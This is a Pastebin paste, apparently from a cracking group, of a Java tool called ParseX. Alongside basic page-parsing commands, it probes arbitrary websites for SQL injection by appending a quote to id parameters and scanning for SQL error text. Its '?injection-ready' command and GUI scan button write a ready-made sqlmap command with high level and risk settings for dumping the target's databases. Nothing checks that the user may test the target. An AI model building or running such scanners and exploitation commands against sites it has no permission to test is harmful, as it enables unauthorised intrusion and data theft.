NoNameCracksInc

Java website scan software.

Sep 25th, 2013
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 11.44 KB | None | 0 0
  1. import java.awt.Dimension;
  2. import java.awt.FlowLayout;
  3. import java.awt.event.ActionEvent;
  4. import java.awt.event.ActionListener;
  5. import java.io.*;
  6. import java.net.*;
  7. import org.jsoup.HttpStatusException;
  8. import org.jsoup.Jsoup;
  9. import org.jsoup.nodes.Document;
  10. import org.jsoup.select.Elements;
  11. import org.jsoup.nodes.Element;
  12. import javax.swing.*;
  13.  
  14.  
  15. public class testing implements Runnable,ActionListener{
  16.     PrintWriter writer;
  17.     PrintWriter htmlpainter;
  18.     BufferedReader reader;
  19.     String str;
  20.     String message;
  21.     String source;
  22.     String page;
  23.     String command;
  24.     String url;
  25.     String secondaryurl;
  26.     int hash;
  27.     static int time;
  28.     JFrame frame;
  29.     JTextPane pane;
  30.     JButton button;
  31.     Document doc;
  32.     Document vuln;
  33.     Thread t1;
  34.     InetAddress address;
  35.     String link;
  36.    
  37.     public void run(){
  38.         for(time=0;time>=0;time++){
  39.             try{
  40.             Thread.sleep(1000);
  41.             }catch(InterruptedException e){System.out.println(e.getMessage()+"Thread interrupted.");}
  42.         }
  43.     }
  44.    
  45.     public void searchCore()throws IOException{
  46.         Java java=new Java();
  47.         reader=new BufferedReader(new InputStreamReader(System.in));
  48.         t1=new Thread(new testing());
  49.        
  50.         System.out.println("<ParseX>\n");
  51.         t1.start();
  52.         System.out.print("Choose name of website to be tested: ");
  53.         url=reader.readLine();
  54.         System.out.print("Choose name of secondary url: ");
  55.         secondaryurl=reader.readLine();
  56.        
  57.         try{
  58.         doc=Jsoup.connect(url).get();
  59.         }
  60.         catch(IllegalArgumentException | HttpStatusException i){System.out.println(i.getMessage()+" -Wrong url syntax.Provide http:// prefix, or could not connect.");}
  61.        
  62.         System.out.println("Connected.");
  63.  
  64.     do{
  65.         System.out.print(">");
  66.         command=reader.readLine();     
  67. //SIMPLE//     
  68.         if(command.equals("?getnode"))
  69.             System.out.println(doc.nodeName());
  70.        
  71.         if(command.equals("?getname"))
  72.             System.out.println(doc.title());
  73.        
  74.         if(command.equals("?gettag"))
  75.             System.out.println(doc.tag());
  76.        
  77.         if(command.equals("?help"))
  78.             java.help();
  79.          
  80.         if(command.equals("?printsource")){
  81.             source=doc.html();
  82.             System.out.println(source);
  83.         }
  84.        
  85.         if(command.equals("?printpage")){
  86.             page=doc.text();
  87.             System.out.println(page);
  88.         }
  89.        
  90.         if(command.equals("?session"))
  91.             System.out.println(time+" seconds.");
  92.        
  93.         if(command.equals("!execute"))
  94.             System.exit(0);
  95.        
  96.         if(command.equals("?getall")){
  97.             System.out.println("Node: "+doc.nodeName());
  98.             System.out.println("Name: "+doc.title());
  99.             System.out.println("Tag: "+doc.tag());
  100.         }
  101.            
  102.         if(command.equals("?gethash")){
  103.             hash=url.hashCode();
  104.             System.out.println(url+": "+hash);
  105.            }
  106.            
  107.         if(command.equals("?getip")){
  108.             try{
  109.             address=InetAddress.getByName(secondaryurl);
  110.             System.out.println(address);
  111.             }
  112.             catch(UnknownHostException e){System.out.println(e.getMessage()+" -wrong name of host.");}
  113.         }
  114.        
  115. //MAIN//       
  116.         if(command.equals("?getsource")){
  117.             writer=new PrintWriter("C:\\Users\\Jakub\\Desktop\\Source.txt");
  118.            
  119.             source=doc.html();
  120.             writer.write(source);
  121.             writer.close();
  122.             System.out.println("Done.");
  123.         }  
  124.         if(command.equals("?getpage")){
  125.             writer=new PrintWriter("C:\\Users\\Jakub\\Desktop\\Text.txt");
  126.            
  127.             page=doc.text();
  128.             writer.write(page);
  129.             writer.close();
  130.             System.out.println("Done.");
  131.         }
  132.        
  133.         if(command.equals("?isvulnerable")){
  134.             if(url.contains("id")||url.contains("ID")){
  135.             vuln=Jsoup.connect(url+"'").get();
  136.             message=vuln.text();
  137.                
  138.             if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
  139.                 System.out.println("Website is SQLi vulnerable.");
  140.             }
  141.             else
  142.                 System.out.println("No SQLi vulnerable place found.");
  143.             }
  144.             else
  145.                 System.out.println("No parameter provided.");
  146.         }
  147.        
  148.         if(command.equals("!bruteforce")){
  149.             try{
  150.             if(!url.contains("id")&&!url.contains("ID")){
  151.                 Document vuln=Jsoup.connect(url+"/index.php?id='").get();
  152.                 String message=vuln.text();
  153.                
  154.                 if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
  155.                     System.out.println("Website is SQLi vulnerable (bruteforce).");
  156.                 }
  157.                 else
  158.                     System.out.println("No SQLi vulnerable place found.");
  159.             }
  160.             else
  161.                 System.out.println("Cannot force website to throw vulnerable subdomain- id is implemented.");
  162.             }
  163.             catch(HttpStatusException e){System.out.println(e.getMessage()+" -bruteforce not available.");}
  164.         }
  165.        
  166.         if(command.equals("?usesjvs")){
  167.             source=doc.html();
  168.            
  169.             if(source.contains("javascript")||source.contains("function")){
  170.                 System.out.println("Website possibly uses javascript.");
  171.             }
  172.             else
  173.                 System.out.println("No javascript footprint found.");
  174.             }
  175.        
  176.         if(command.equals("?usescss")){
  177.             source=doc.html();
  178.            
  179.             if(source.contains("css")||source.contains("style")){
  180.                 System.out.println("Website possibly uses css styles.");
  181.             }
  182.             else
  183.                 System.out.println("No css footprint found.");
  184.         }
  185.        
  186.         if(command.equals("?htmlversion")){
  187.             source=doc.html();
  188.            
  189.             if(source.contains("!DOCTYPE")||source.contains("!doctype")){
  190.                 System.out.println("Website uses HTML 5.");
  191.             }
  192.             else{
  193.                 System.out.println("Website HTML version < 5.0.");
  194.             }
  195.         }
  196.        
  197.         if(command.equals("?getlinks")){
  198.             htmlpainter=new PrintWriter("C://Users//Jakub//Desktop//Links.txt");
  199.             Elements links=doc.select("a[href]");
  200.            
  201.             for(Element element : links){
  202.                 htmlpainter.print("\n"+element.attr("href")+"  ");
  203.             }
  204.             htmlpainter.close();
  205.             System.out.println("Done.");
  206.         }
  207.        
  208.         if(command.equals("?printlinks")){
  209.                 Elements links=doc.select("a[href]");
  210.                
  211.                 for(Element element : links){
  212.                     System.out.println("\n"+element.attr("href"));
  213.                 }
  214.         }
  215.        
  216.         if(command.equals("?getimages")){
  217.             htmlpainter=new PrintWriter("C://Users//Jakub//Desktop//Images.txt");
  218.             Elements images=doc.select("img");
  219.            
  220.             for(Element element : images){
  221.                 htmlpainter.print("\n"+element.attr("src")+"   ");
  222.             }
  223.             htmlpainter.close();
  224.             System.out.println("Done.");
  225.         }
  226.        
  227.         if(command.equals("?printimages")){
  228.             Elements images=doc.select("img");
  229.            
  230.             for(Element element : images){
  231.                 System.out.println("\n"+element.attr("src"));
  232.             }
  233.         }
  234.        
  235.         if(command.equals("?injection-ready")){
  236.             writer=new PrintWriter("C://Users//Jakub//Desktop//MAP.txt");
  237.            
  238.             writer.println("python sqlmap.py -u "+url+" --random-agent --timeout=15 --keep-alive --threads=3 --level=5 --risk=3 --technique=BEUST --union-cols=20 --dbs --eta -v 2 --union-char=20 -p id");
  239.             writer.close();
  240.             System.out.println("Done.");
  241.         }
  242.            
  243. //STR FILTER//     
  244.         if(command.equals("?getsourcestr")){
  245.             str=reader.readLine();
  246.             source=doc.html();
  247.             if(source.contains(str)){
  248.                 System.out.println("Source code contains *"+str+"*.");
  249.             }
  250.             else
  251.                 System.out.println("Source code does not contain *"+str+"*.");
  252.             }      
  253.        
  254.        
  255.         if(command.equals("?getpagestr")){
  256.             str=reader.readLine();
  257.             page=doc.text();
  258.             if(page.contains(str)){
  259.                 System.out.println("Page text contains *"+str+"*.");
  260.             }
  261.             else
  262.                 System.out.println("Page text does not contain *"+str+"*.");
  263.             }
  264.        
  265. //GUI-testX//
  266.         frame=new JFrame("TestX");
  267.         frame.setSize(500,120);
  268.         frame.setVisible(false);
  269.         frame.setLayout(new FlowLayout());
  270.        
  271.         pane=new JTextPane();
  272.         pane.setPreferredSize(new Dimension(450,50));
  273.        
  274.         button=new JButton("Scan");
  275.         button.setPreferredSize(new Dimension(200,20));
  276.         button.addActionListener(this);
  277.        
  278.         frame.add(pane);
  279.         frame.add(button);
  280.        
  281.         if(command.equals("?testX")){
  282.             frame.setVisible(true);
  283.         }  
  284.        
  285.     }while(command!="disconnect");
  286. }
  287.         public static void main(String args[])throws IOException{
  288.             testing obj=new testing();
  289.             obj.searchCore();
  290.         }
  291.        
  292.         @Override
  293.         public void actionPerformed(ActionEvent e){
  294.             try{
  295.             link=pane.getText();
  296.             Document doc=Jsoup.connect(link+"'").get();
  297.             message=doc.text();
  298.            
  299.             if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
  300.                 pane.setText(pane.getText()+"\n"+"Website is SQLi vulnerable.");
  301.                
  302.                 writer=new PrintWriter("C://Users//Jakub//Desktop//MAP.txt");  
  303.                 writer.println("python sqlmap.py -u "+link+" --random-agent --timeout=15 --keep-alive --threads=3 --level=5 --risk=3 --technique=BEUST --union-cols=20 --dbs --eta -v 2 --union-char=20 -p id");
  304.                 writer.close();
  305.             }
  306.             else
  307.                 pane.setText(pane.getText()+"\n"+"No vulnerableness found.");
  308.         }
  309.             catch(IOException | IllegalArgumentException ei){System.out.println(ei.getMessage()+ "-Wrong url syntax.Provide http:// prefix.");}    
  310.         }
  311. }
  312. public class Java extends testing{
  313.  
  314.     public void help(){
  315.         System.out.println("ParseX is software used to analyse websites and search for SQLi vulnerableness.\n" +
  316.                            "It's also one-session-only software.Primary url- with http:// and/or parameter.\n" +
  317.                            "Secondary url- without both http:// and parameter.\n\n");
  318.         System.out.println("?getname- get name of website.");
  319.         System.out.println("?gettag- get tag of website.");
  320.         System.out.println("?getnode- get node of website.");
  321.         System.out.println("?getall- get name,tag and node.");
  322.         System.out.println("?getsource- write source code of website to a text file.");
  323.         System.out.println("?printsource- print source code to console.");
  324.         System.out.println("?getpage- write website's text content to a text file.");
  325.         System.out.println("?printpage- print website's text content to console.");
  326.         System.out.println("?isvulnerable- find website's SQLi vulnerableness (provide id parameter).");
  327.         System.out.println("!bruteforce- force website to throw SQLi vulnerable subdomain (less effective).");
  328.         System.out.println("?injection-ready- write sqlmap-based script to text file.");
  329.         System.out.println("?getsourcestr- find certain String in source code.");
  330.         System.out.println("?getpagestr- find certain String in textual content.");
  331.         System.out.println("?getlinks- find all links of website from <a href> tag.");
  332.         System.out.println("?printlinks- print all links of website to a console.");
  333.         System.out.println("?getimages- get all image links from <img src> tag.");
  334.         System.out.println("?printimges- print all image links to console.");
  335.         System.out.println("?gethash- encrypt name of website into numeric hash.");
  336.         System.out.println("?usesjvs/usescss- find out if website uses javascript or css language.");
  337.         System.out.println("?htmlversion- find out if website uses HTML <= 5.0.");
  338.         System.out.println("?getip- get ip address of website.");
  339.         System.out.println("?session- get current session time.");
  340.         System.out.println("?testX- start separate testX software to scan if any website is vulnerable.");
  341.     }  
  342. }
Advertisement
Add Comment
Please, Sign In to add comment